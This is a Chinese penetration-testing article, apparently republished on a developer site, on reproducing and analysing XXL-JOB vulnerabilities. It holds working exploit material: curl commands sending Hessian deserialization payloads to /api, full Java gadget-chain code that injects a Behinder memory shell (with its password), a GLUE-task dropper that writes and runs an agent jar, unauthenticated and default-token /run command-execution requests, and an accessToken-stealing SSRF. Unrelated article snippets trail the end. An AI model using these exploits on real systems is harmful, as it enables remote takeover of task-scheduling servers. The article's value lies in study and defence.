XXL-JOB漏洞分析与利用

一、前言

在当今的数字化时代,任务调度平台对于企业级应用来说至关重要。它们负责自动化和协调各种时间敏感或周期性的任务,确保业务流程的顺畅运行。XXL-JOB作为一款流行的分布式任务调度平台,因其强大的功能和易用性,被广泛部署在各种规模的系统中。然而,随着其应用的普及,安全研究人员开始关注这些系统可能存在的潜在风险,一个漏洞的发现可能会导致数据泄露、服务中断甚至整个系统被控制。对于渗透测试人员来说,学习XXL-JOB的漏洞原理,能够在一定程度上提升渗透能力。

本篇文章旨在详细介绍XXL-JOB平台中已被发现的一些关键漏洞,以及这些漏洞可能被利用的方式。

二、XXL-JOB简介

2.1 概述

XXL-JOB是一个开源的分布式任务调度平台,设计宗旨是实现任务的快速开发、简易学习和轻量级部署,同时具备良好的扩展性。该平台由调度中心和管理执行器的两部分组成,它们通过网络进行通信,实现任务的调度和执行。调度中心负责任务的发起和调度策略的配置,而执行器则负责接收任务请求并执行具体的业务逻辑。

通俗的来说,XXL-JOB就像一个超级强大的闹钟,但它不仅仅能设定固定的时间响铃,还能根据复杂的规则和条件来触发任务。想象一下,你有一个任务需要每天早上8点执行,另外一个任务需要在每月的第1天晚上12点执行,还有任务是基于某些特定事件触发的,比如数据库中的数据达到一定量时。

2.2 特点

XXL-JOB就像一个智能助手,它可以帮你设定这些任务,并且确保它们在正确的时间得到执行。它有以下几个关键特点:

  • 容器化:提供官方docker镜像,并实时更新推送dockerhub,进一步实现产品开箱即用。

  • 脚本任务:支持以GLUE模式开发和运行脚本任务,包括Shell、Python、NodeJS、PHP、PowerShell等类型脚本。

  • 动态:支持动态修改任务状态、启动/停止任务,以及终止运行中任务,即时生效。

  • Rolling实时日志:支持在线查看调度结果,并且支持以Rolling方式实时查看执行器输出的完整的执行日志。

三、XXL-JOB搭建

搭建可参考官方文档:

分布式任务调度平台XXL-JOB

源码结构:

Plain Text

xxl-job-admin:调度中心

xxl-job-core:公共依赖

xxl-job-executor-samples:执行器Sample示例(选择合适的版本执行器,可直接使用,也可以参考其并将现有项目改造成执行器)

    :xxl-job-executor-sample-springboot:Springboot版本,通过Springboot管理执行器,推荐这种方式;

    :xxl-job-executor-sample-frameless:无框架版本;

这里我采用docker进行搭建,可参考:基于docker的分布式任务调度系统xxl-job搭建,注意这里我们搭建有漏洞的版本,我这里搭建的是2.0.2版本。

docker启动涉及到的命令如下:

Bash
# 安装mysql
docker pull mysql

# 启动mysql
docker run -e MYSQL_ROOT_PASSWORD=123456  -p 3306:3306  -v /opt:/opt mysql  --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci

# 修改密码
ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '123456';

# 刷新权限
flush privileges;

# 创建数据库
CREATE database if NOT EXISTS xxl_job default character set utf8 collate utf8_general_ci;

# 导入sql文件
source /opt/xxl-job-2.4.0/doc/db/tables_xxl_job.sql;

# 下载镜像
docker pull xuxueli/xxl-job-admin:2.0.2

# 启动镜像
docker run -e PARAMS="--spring.datasource.url=jdbc:mysql://192.168.2.198:3306/xxl_job?Unicode=true&characterEncoding=UTF-8 --spring.datasource.username=root --spring.datasource.password=123456" -p 8080:8080 -v /tmp:/data/applogs --name xxl-job-admin xuxueli/xxl-job-admin:2.0.2

 搭建成功,显示如下:

访问 http://ip:port/xxl-job-admin/

四、XXL-JOB漏洞复现与分析

4.1 默认口令

默认账号密码:admin/123456。

4.2 Hessian反序列化

4.2.1 漏洞复现
4.2.1.1 出网利用

影响版本:XXL-JOB <= 2.0.2

漏洞原理:/api接口存在Hessian2反序列化漏洞

漏洞复现:

访问/api接口存在如下报错响应,则存在漏洞。

这里测试使用的是jdk11,所以需要bypass高版本的限制,这里启动JNDI服务:

Bash
# 工具地址:https://github.com/welk1n/JNDI-Injection-Exploit,可bypass jdk高本版限制
java -jar JNDI-Injection-Exploit-1.0-welk1n.jar -A 0.0.0.0 -C "ping xmm0yh.dnslog.cn"

生成恶意序列化数据:

Bash
# 工具地址:https://github.com/mbechler/marshalsec,有Hessian的利用链
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://x.x.x.x:1099/kt17tn > 1.ser

burp发送有问题,这里使用curl发送:

Bash
curl -XPOST --data-binary @1.ser http://192.168.2.132:8080/xxl-job-admin/api -H "Content-Type: x-application/hessian"

命令执行成功:

4.2.1.2 不出网利用

通过jdk原生 SwingLazyValue利用链,可以达到反射调用静态方法。测试jdk1.8成功,jdk9版本开始,删除了rt.jar,下面测试注入内存马。

方式一:defineClass加载字节码

调用Unsafe#defineClass方法来加载字节码,实现内存马注入,使用JMG工具(GitHub - pen4uin/java-memshell-generator: 一款支持自定义的 Java 内存马生成工具|A customizable Java memory-shell generation tool.)生成内存马,代码参考:探寻Hessian JDK原生反序列化不出网的任意代码执行利用链 – Whwlsfb's Tech Blog

代码需要修改的地方有:

  • bcode的值为生成的BASE64格式的内存马

  • 注入的类名

Java
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import sun.misc.Unsafe;
import sun.reflect.misc.MethodUtil;
import sun.swing.SwingLazyValue;

import javax.swing.;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.security.ProtectionDomain;
import java.util.HashMap;
import java.util.Hashtable;

public class hessian_demo_main {
    static SerializerFactory serializerFactory = new SerializerFactory();
    static byte[] bcode;

    static {
        try {
            // 修改下面bcode为实际生成的BASE64格式的内存马
            bcode = Base64.decode("yv66vg...AAAAAgCi");
        } catch (Base64DecodingException e) {
            throw new RuntimeException(e);
        }
    }

    public static void main(String[] args) throws Exception {
        serializerFactory.setAllowNonSerializable(true);
        Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
        Method defineClass = Unsafe.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
        Field f = Unsafe.class.getDeclaredField("theUnsafe");
        f.setAccessible(true);
        Object unsafe = f.get(null);
        // 修改下面HttpClientUtil为实际生成内存马的类名
        Object[] ags = new Object[]{invoke, new Object(), new Object[]{defineClass, unsafe, new Object[]{"HttpClientUtil", bcode, 0, bcode.length, null, null}}};
        // 修改下面HttpClientUtil为实际生成内存马的类名
        SwingLazyValue swingLazyValue1 = new SwingLazyValue("HttpClientUtil", null, new Object[0]);
        SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", ags);
        Object[] keyValueList = new Object[]{"abc", swingLazyValue};
        Object[] keyValueList1 = new Object[]{"ccc", swingLazyValue1};
        UIDefaults uiDefaults1 = new UIDefaults(keyValueList);
        UIDefaults uiDefaults2 = new UIDefaults(keyValueList);
        UIDefaults uiDefaults3 = new UIDefaults(keyValueList1);
        UIDefaults uiDefaults4 = new UIDefaults(keyValueList1);
        Hashtable<Object, Object> hashtable1 = new Hashtable<>();
        Hashtable<Object, Object> hashtable2 = new Hashtable<>();
        Hashtable<Object, Object> hashtable3 = new Hashtable<>();
        Hashtable<Object, Object> hashtable4 = new Hashtable<>();
        hashtable1.put("a", uiDefaults1);
        hashtable2.put("a", uiDefaults2);
        hashtable3.put("b", uiDefaults3);
        hashtable4.put("b", uiDefaults4);
        serObj(hashtable1, hashtable2, hashtable3, hashtable4);
        readObj();
    }

    static void serObj(Object hashtable1, Object hashtable2, Object hashtable3, Object hashtable4) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 4);
        Class<?> nodeC;
        try {
*            nodeC = Class.forName("java.util.HashMap**$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$*Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 4);
        Array.set(tbl, 0, nodeCons.newInstance(0, hashtable1, hashtable1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, hashtable2, hashtable2, null));
        Array.set(tbl, 2, nodeCons.newInstance(0, hashtable3, hashtable3, null));
        Array.set(tbl, 3, nodeCons.newInstance(0, hashtable4, hashtable4, null));
        Reflections.setFieldValue(s, "table", tbl);
        Hessian2Output hessian2Output = new Hessian2Output(new FileOutputStream("hessian.ser"));
        hessian2Output.setSerializerFactory(serializerFactory);
        hessian2Output.writeObject(s);
        hessian2Output.close();
    }

    static void readObj() throws Exception {
        Hessian2Input hessian2Input = new Hessian2Input(new FileInputStream("hessian.ser"));
        hessian2Input.readObject();
    }
}

再通过curl发包即可:

Bash
curl -XPOST --data-binary @hessian.ser http://192.168.2.132:8080/xxl-job-admin/api -H "Content-Type: x-application/hessian"

这里注入的是冰蝎listener内存马:

密码: Igzafarqnx

请求路径: /

请求头: Referer: Vhmeexb

方法二:XSLT触发defineClass加载字节码

代码参考:https://yzddmr6.com/posts/swinglazyvalue-in-webshell/#%E5%88%A9%E7%94%A8%E4%BA%94%E8%90%BD%E7%9B%98xslt%E5%B9%B6%E5%8A%A0%E8%BD%BD

修改两个地方:

  • base64_payload为要注入的BASE64格式的内存马

  • class_name为注入的类名

Java
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import sun.swing.SwingLazyValue;

import javax.swing.*;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Hashtable;

import static com.qt.test.hessian_demo_main.serializerFactory;

public class hessian_demo_two {
    public static void main(String[] args) throws Exception {
        String xsltTemplate = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +
                "xmlns:b64=\"http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder\"\n" +
                "xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\n" +
                "xmlns:th=\"http://xml.apache.org/xalan/java/java.lang.Thread\"\n" +
                "xmlns:ru=\"http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils\"\n" +
                ">\n" +
                "    <xsl:template match=\"/\">\n" +
                "      <xsl:variable name=\"bs\" select=\"b64:decodeBuffer(b64:new(),'base64_payload')\"/>\n" +
                "      <xsl:variable name=\"cl\" select=\"th:getContextClassLoader(th:currentThread())\"/>\n" +
                "      <xsl:variable name=\"rce\" select=\"ru:defineClass('class_name',$bs,$cl)\"/>\n" +
                "      <xsl:value-of select=\"$rce\"/>\n" +
                "    </xsl:template>\n" +
                "  </xsl:stylesheet>";

        String base64Code = "yv66vg...AAAAAgCi";
        serializerFactory.setAllowNonSerializable(true);
        String xslt = xsltTemplate.replace("base64_payload", base64Code).replace("class_name", "HttpClientUtil");
        SwingLazyValue value1 = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"E:/SecCode/Test/Test/xslt_temp", xslt.getBytes()});
        SwingLazyValue value2 = new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file:///E:/SecCode/Test/Test/xslt_temp"}});

        Object[] keyValueList = new Object[]{"abc", value1};
        Object[] keyValueList1 = new Object[]{"ccc", value2};
        UIDefaults uiDefaults1 = new UIDefaults(keyValueList);
        UIDefaults uiDefaults2 = new UIDefaults(keyValueList);
        UIDefaults uiDefaults3 = new UIDefaults(keyValueList1);
        UIDefaults uiDefaults4 = new UIDefaults(keyValueList1);
        Hashtable<Object, Object> hashtable1 = new Hashtable<>();
        Hashtable<Object, Object> hashtable2 = new Hashtable<>();
        Hashtable<Object, Object> hashtable3 = new Hashtable<>();
        Hashtable<Object, Object> hashtable4 = new Hashtable<>();
        hashtable1.put("a", uiDefaults1);
        hashtable2.put("a", uiDefaults2);
        hashtable3.put("b", uiDefaults3);
        hashtable4.put("b", uiDefaults4);
        serObj(hashtable1, hashtable2, hashtable3, hashtable4);
         readObj();
    }
    static void serObj(Object hashtable1, Object hashtable2, Object hashtable3, Object hashtable4) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 4);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 4);
        Array.set(tbl, 0, nodeCons.newInstance(0, hashtable1, hashtable1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, hashtable2, hashtable2, null));
        Array.set(tbl, 2, nodeCons.newInstance(0, hashtable3, hashtable3, null));
        Array.set(tbl, 3, nodeCons.newInstance(0, hashtable4, hashtable4, null));
        Reflections.setFieldValue(s, "table", tbl);
        Hessian2Output hessian2Output = new Hessian2Output(new FileOutputStream("hessian.ser"));
        hessian2Output.setSerializerFactory(serializerFactory);
        hessian2Output.writeObject(s);
        hessian2Output.close();
    }

    static void readObj() throws Exception {
        Hessian2Input hessian2Input = new Hessian2Input(new FileInputStream("hessian.ser"));
        hessian2Input.readObject();
    }
}

环境:jdk1.8,这里注入的是冰蝎listener内存马:

密码: Igzafarqnx

请求路径: /*

请求头: Referer: Vhmeexb

4.2.2 漏洞分析

找到触发/api路由的方法,位于com.xxl.job.admin.controller.JobApiController#api。

进入com.xxl.job.admin.core.schedule.XxlJobDynamicScheduler#invokeAdminService。

进入com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#handle。

进入com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#parseRequest,其中readBytes(request)方法获取请求体的数据,然后传入com.xxl.rpc.serialize.impl.HessianSerializer#deserialize。

下面就是Hessian2反序列化的流程:

4.3 后台命令执行

4.3.1 漏洞复现

测试环境:2.1.2(2.0.2版本powershell脚本测试执行失败),需要启动执行器,新增一个powershell脚本任务:

添加完成后,编辑GLUE,插入要执行的命令。

点击执行一次,然后点击查询调度日志,执行命令的结果在日志中。

4.3.1.1 出网利用

一般考虑反弹shell或者上线cs。

4.3.1.2 不出网利用

考虑注入一个java agent内存马,因为没有上传点,需要写一个agent马进去,测试环境:jdk1.8,先准备好agent内存马,然后将其base64编码后分割再拼接:

Java
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.Base64;

public class Base64FileSplit {
    public static void main(String[] args) {
        File file = new File("E:\\Agent-1.0.jar");
        FileOutputStream fos = null;
        try {
            fos = new FileOutputStream("split_base64_output.txt");
            byte[] buffer = new byte[1000]; // 缓冲区大小为1000个字符
            int bytesRead;
            // 读取文件并转换为Base64字符串
            FileInputStream fis = new FileInputStream(file);
            byte[] fileContent = new byte[(int) file.length()];
            fis.read(fileContent);
            String base64String = Base64.getEncoder().encodeToString(fileContent);
            // 分割Base64字符串并写入到文件
            for (int i = 0; i < base64String.length(); i += 1000) {
                String line = "sb.append(\"" + base64String.substring(i, Math.min(i + 1000, base64String.length())) + "\");";
                fos.write(line.getBytes());
                fos.write("\n".getBytes());
            }
            System.out.println("Base64字符串已成功分割并写入到文件中.");
        } catch (IOException e) {
            e.printStackTrace();
        } finally {
            if (fos != null) {
                try {
                    fos.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }
    }
}

生成拼接的字符串。

添加一个java脚本的任务,再编辑代码。

修改代码为如下:

Java
package com.xxl.job.service.handler;

import com.xxl.job.core.log.XxlJobLogger;
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;
import java.io.*;
import java.util.Base64;

public class DemoGlueJobHandler extends IJobHandler {

        @Override
        public ReturnT<String> execute(String param) throws Exception {
                saveJarAndEx();
                return ReturnT.SUCCESS;
        }
  public static void saveJarAndEx() {
        StringBuilder sb = new StringBuilder();
        // 拼接的base64字符串
      sb.append("UEsDBAoAAAAAANwVPlgAAAAAAAAA...");
        ...
        ....
        ...
 sb.append("...DQAAAA==");
 // Base64解码
        String base64String = sb.toString();
        byte[] decodedBytes = Base64.getDecoder().decode(base64String);
        // 保存agent jar
        File jarFile = new File("test1.jar");
        try {
            FileOutputStream fileOutputStream = new FileOutputStream(jarFile);
            fileOutputStream.write(decodedBytes);
            fileOutputStream.close();
            // 执行jar
            ProcessBuilder processBuilder = new ProcessBuilder("java", "-jar", "test1.jar");
            Process process = processBuilder.start();
            InputStream inputStream = process.getInputStream();
            BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
            String line;
            while ((line = reader.readLine()) != null) {
                System.out.println(line);
            }
        } catch (FileNotFoundException e) {
            throw new RuntimeException(e);
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

执行任务,就可在控制台中看到注入成功。

冰蝎连接:

4.3.2 漏洞分析

执行任务的路由为:/jobinfo/trigger,对应的源码为:com.xxl.job.admin.controller.JobInfoController#triggerJob。

调用com.xxl.job.admin.core.trigger.XxlJobTrigger#trigger。

调用processTrigger方法:

调用com.xxl.job.admin.core.trigger.XxlJobTrigger#runExecutor。

这里获取执行器(9999端口启动的),并委托ExecutorBiz执行run方法。

反射调用run方法。

com.xxl.job.core.biz.impl.ExecutorBizImpl#run方法判断glueTypeEnum的值,这里传入的是powershell,进入到如下if,初始化一个ScriptJobHandler,并放入到队列中。

接着通过任务线程执行handler:com.xxl.job.core.handler.impl.ScriptJobHandler#execute,在execute方法中,会将要执行的powershell脚本内容保存到一个后缀psl的文件中,并传入ScriptUtil#execToFile方法中。

在com.xxl.job.core.util.ScriptUtil#execToFile中通过Runtime exec执行powershell文件。

其他执行方式如:shell,java同理,根据传入的glueTypeEnum获取到对应的JobHandler。

4.4 Executor未授权命令执行

4.4.1 漏洞复现

影响版本:XXL-JOB <= 2.2.0

漏洞原理:/run接口触发执行器执行脚本,acessToken为空绕过鉴权。

漏洞复现:

Executor默认是监听在9999端口,和后台执行任务导致的命令执行一样,只不过这里直接未授权请求Executor去触发脚本执行,测试版本:2.2.0,通过powershell执行。

POC:

Java
POST /run HTTP/1.1
Host: 192.168.2.132:9999
Content-Type: application/json
Content-Length: 311

{
"jobId":1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc.exe",
"glueUpdatetime": 1,
"broadcastIndex": 0,
"broadcastTotal": 0
}

4.4.2 漏洞分析

在com.xxl.job.core.server.EmbedServer.EmbedHttpServerHandler#process方法中校验请求包中的accessToken,由于在 <= 2.2.0时,accessToken值默认为空,所以accessToken.trim().length() > 0为false,即绕过认证。

和后台通过执行任务造成的命令执行原理一样。

4.5 默认accessToken身份绕过

4.5.1 漏洞复现

影响版本:XXL-JOB <= 2.4.0

漏洞原理:用于调度通讯的 accessToken 为默认值default_token。

漏洞复现:

添加请求头,直接通过/run接口触发命令执行:

POC:

Java
POST /run HTTP/1.1
Host: 192.168.2.132:9999
Content-Type: application/json
XXL-JOB-ACCESS-TOKEN: default_token
Content-Length: 311

{
"jobId":1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc.exe",
"glueUpdatetime": 1,
"broadcastIndex": 0,
"broadcastTotal": 0
}

4.5.2 漏洞分析

token校验的时候获取请求头的XXL-JOB-ACCESS-TOKEN的值,和配置文件的默认accessToken 值default_token进行对比。

4.6 后台SSRF

4.6.1 漏洞复现

影响版本:XXL-JOB <= 2.3.1

漏洞原理:查看执行日志/joblog/logDetailCat接口时,会携带accessToken向执行器地址发送请求,可以通过低权限用户发送日志查看的数据包,获取accessToken,再利用accessToken去触发/run接口的命令执行。

漏洞复现:

修改executorAddress:

通过nc监听请求包,可在请求头中获取accessToken。

4.6.2 漏洞分析

在获取执行器的代码com.xxl.job.admin.core.scheduler.XxlJobScheduler#getExecutorBiz方法中,会将传入的address和配置文件中的accessToken实例化返回executorBiz,供后续发起请求。

在2.4.0版本中直接获取执行器的地址,无法利用。

总结

在本文中,我们对XXL-JOB的历史漏洞进行了梳理和分析,深入了解了其原理和攻击方式。通过对这些漏洞的剖析,我们可以更加全面地认识到XXL-JOB在安全方面存在的问题,从而在实际应用中提高警惕,防范潜在风险。

参考

探寻Hessian JDK原生反序列化不出网的任意代码执行利用链 – Whwlsfb's Tech Blog

https://yzddmr6.com/posts/swinglazyvalue-in-webshell/

基于docker的分布式任务调度系统xxl-job搭建_xxl-job docker-CSDN博客

关于作者:

l2sec:青藤红队成员,主要研究方向为红蓝对抗和漏洞挖掘。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/404837.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vue3父子组件双向数据绑定v-model;父组件调用子组件事件

效果&#xff1a; 父far.vue <template><div><div>父组件内容<pre>value1:{{ value1 }}</pre><el-button type"primary">flag1:{{ flag1 }}</el-button><pre>obj1:{{ obj1 }}</pre><el-input v-model&q…

进阶SpringBoot之 JDBC 篇

对于数据访问层&#xff0c;无论是SQL&#xff08;关系型数据库&#xff09;还是NOSQL&#xff08;非关系型数据库&#xff09;&#xff0c; Spring Boot 底层都是采用 Spring Data 的方式进行统一处理 创建一个新项目&#xff0c;依赖勾选 JDBC API、MySQL Driver 项目创建好…

2024.8.20 作业

目录 思维导图&#xff1a; 面试题练习&#xff1a; 1、C语言中指针数组和数组指针的区别 2、结构体字节对齐的原理 3、TCP和UDP的区别 4、同步通信和异步通信的区别 5、多线程的理解 6、大小端验证 7、互斥锁 8、共享内存特点 9、C语言的指针 10、gcc编译 11、socket套接字 1…

【TCP】确认应答、超时重传机制和TCP报头

TCP 相关机制 TCP 基本特点&#xff1a;有连接、可靠传输、面向字节流、全双工 有连接、面向字节流和全双工都能在前面的代码中体现有连接&#xff1a;必须要先调用 accept 建立联系才能处理面向字节流&#xff1a;会拿到 clientSocket 对象的 InputStream 和 OutputStream&a…

加密请求包的爆破

本文来源无问社区&#xff0c;更多实战内容可前往查看http://wwlib.cn/index.php/artread/artid/10414.html 在平时进行漏洞挖掘的时候经常会在诸如登陆的地方遇到密码经过了加密&#xff0c;而且不是也 base64 或者 md5 啥的&#xff0c;而可能是 RSA 之类的&#xff0c;这就…

Python 办公自动化 案例 将Excel 数据导入数据库 【2】推荐

前言&#xff1a; 前面我们梳理了如何处理Excel数据&#xff0c;详细的回顾了如何读取Excel行、列以及单元格数据&#xff0c;如何创建一个Excel、向Excel填充数据以及保存Excel数据。主要是xlrd读取和xlwt写入两个python第三方模块对Excel数据操作的一些常用函数以及属性。点…

【JVM】深入理解类加载机制(一)

深入理解类加载机制 Klass模型 Java的每个类&#xff0c;在JVM中都有一个对应的Klass类实例与之对应&#xff0c;存储类的元信息如:常量池、属性信息、方法信息…从继承关系上也能看出来&#xff0c;类的元信息是存储在元空间的。普通的Java类在JVM中对应的是InstanceKlass(C)…

4款AI 生成 PPT的工具,帮你赶上演示文稿的新趋势!

AI 生成 PPT 最大的优势就在于它能够帮助我们提高效率。如果我们自己制作的话就需要花费大量的时间去收集资料、构思布局、设计排版。而现在&#xff0c;有了AI工具&#xff0c;一切就迎刃而解&#xff0c;如果大家需要这样的工具&#xff0c;可以看看这4款。 1、笔灵办公 直通…

RabbitMQ 的工作原理

下面是rabbitmq 的工作原理图解 1、客户端连接到消息队列服务器&#xff0c;打开一个channel。 2、客户端声明一个exchange&#xff0c;并设置相关属性。 3、客户端声明一个queue&#xff0c;并设置相关属性。 4、客户端使用routing key&#xff0c; 在exchange和queue 之间…

为什么说网络安全行业是IT行业最后的红利?

前言 2023年网络安全行业的前景看起来非常乐观。根据当前的趋势和发展&#xff0c;一些趋势和发展可能对2023年网络安全行业产生影响&#xff1a; 5G技术的广泛应用&#xff1a;5G技术的普及将会使互联网的速度更快&#xff0c;同时也将带来更多的网络威胁和安全挑战。网络安全…

《向量数据库 Faiss 搭建与使用全攻略》

一、Faiss 概述 Faiss 是由 Facebook AI 团队开发的一款强大工具&#xff0c;在大规模数据处理和相似性搜索领域占据着重要地位。 在当今信息爆炸的时代&#xff0c;数据规模呈指数级增长&#xff0c;如何从海量数据中快速准确地找到相似的数据成为了关键挑战。Faiss 应运而生…

《黑神话.悟空》:一场跨越神话与现实的深度探索

《黑神话.悟空》&#xff1a;一场跨越神话与现实的深度探索 在国产游戏日益崛起的今天&#xff0c;《黑神话.悟空》以其独特的剧情、丰富的人物设定和深刻的主题&#xff0c;成为了无数玩家翘首以盼的国产3A大作。这款游戏不仅是一次对传统故事的创新演绎&#xff0c;更是一场对…

AIoTedge边缘计算平台V1.0版本发布

AIoTedge边缘计算平台V1.0&#xff0c;一款创新的AIoT解决方案&#xff0c;现已正式发布。该产品集成了NodeRED软网关、边缘物联网平台和边缘AI能力&#xff0c;为企业提供强大的边云协同能力。它支持设备管理和泛协议接入&#xff0c;确保不同设备间的无缝连接。AIoTedgeV1.0还…

[C#]winform基于深度学习算法MVANet部署高精度二分类图像分割onnx模型高精度图像二值化

【训练源码】 https://github.com/qianyu-dlut/MVANet 【参考源码】 https://github.com/hpc203/MVANet-onnxrun 【算法介绍】 二分图像分割&#xff08;DIS&#xff09;最近出现在从高分辨率自然图像中进行高精度对象分割方面。在设计有效的DIS模型时&#xff0c;主要的挑战是…

SDCS-IOE-2C 3ADT220090R007模块控制器

SDCS-IOE-2C 3ADT220090R007模块控制器 SDCS-IOE-2C 3ADT220090R007模块控制器 SDCS-IOE-2C 3ADT220090R007模块控制器 SDCS-IOE-2C 3ADT220090R007模块控制器引脚线 SDCS-IOE-2C 3ADT220090R007模块控制器说明书 SDCS-IOE-2C 3ADT220090R007模块控制器线路图 SDCS-IOE-2…

Snipaste 的一款替代工具 PixPin,支持 gif 截图、长截图和 OCR 文字识别,功能不是一点点强!

Snipaste 的一款替代工具 PixPin&#xff0c;支持 gif 截图、长截图和 OCR 文字识别&#xff0c;功能不是一点点强&#xff01; PixPin 的名字来源于“Pixel Pin”&#xff0c;简单来说是一个截图、贴图的工具&#xff0c;但是 PixPin 以截图和贴图两大功能为核心做了大量的优…

mysql速起架子

wget https://dev.mysql.com/get/Downloads/MySQL-8.0/mysql-8.0.21-linux-glibc2.12-x86_64.tar.xz 下载mysql tar xvJf mysql-8.0.21-linux-glibc2.12-x86_64.tar.xz 解压 mv mysql-8.0.21-linux-glibc2.12-x86_64 mysql-8.0 改名 去到bin目录 cd bin mkdir data gr…

Python(PyTorch)硅光电倍增管和量化感知训练亚光子算法验证

&#x1f3af;要点 &#x1f3af;亚光子光神经网络矩阵计算 | &#x1f3af;光学扇入计算向量点积 | &#x1f3af;表征测量确定不同光子数量下计算准确度 | &#x1f3af;训练全连接多层感知器基准测试光神经网络算法数字识别 | &#x1f3af;物理验证光学设备设置 | &#x…

Controller中接收数组参数 post请求中在body中传+post请求中通过表单形式传(x-www-form-urlencoded)

1、场景 需要根据用户id集合批量删除用户数据&#xff0c;前端使用post请求&#xff0c;controller中参数接收数组参数并根据用户id删除用户基本信息 2、分析处理&#xff1a; 2.1、前端请求类型contentType:application/json 请求体中为json字符串&#xff0c;后端新建一个Us…

2024年8月13日~8月19日周报

目录 一、前言 二、完成情况 2.1 遇到的问题及解决 2.1.1 盐数据网络情况与损失函数不下降 2.1.2 其他问题 2.2 损失函数与介绍部分讨论 三、下周计划 一、前言 上周主要完成&#xff1a; ①对比实验执行&#xff1a;InversionNet、DD-Net70②消融实验执行&#xff1a;…